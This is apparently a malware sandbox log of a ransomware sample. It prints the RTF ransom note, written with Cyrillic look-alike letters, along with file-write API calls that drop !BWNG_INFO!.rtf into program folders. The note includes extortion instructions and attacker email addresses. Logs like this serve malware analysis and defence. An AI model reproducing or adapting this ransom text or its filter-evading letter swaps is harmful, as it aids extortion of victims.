PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.920] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.922] CloseHandle (hObject=0x1cc) returned 1 [0033.922] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\!bwng_info!.rtf")) returned 0xffffffff [0033.922] GetLastError () returned 0x2 [0033.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 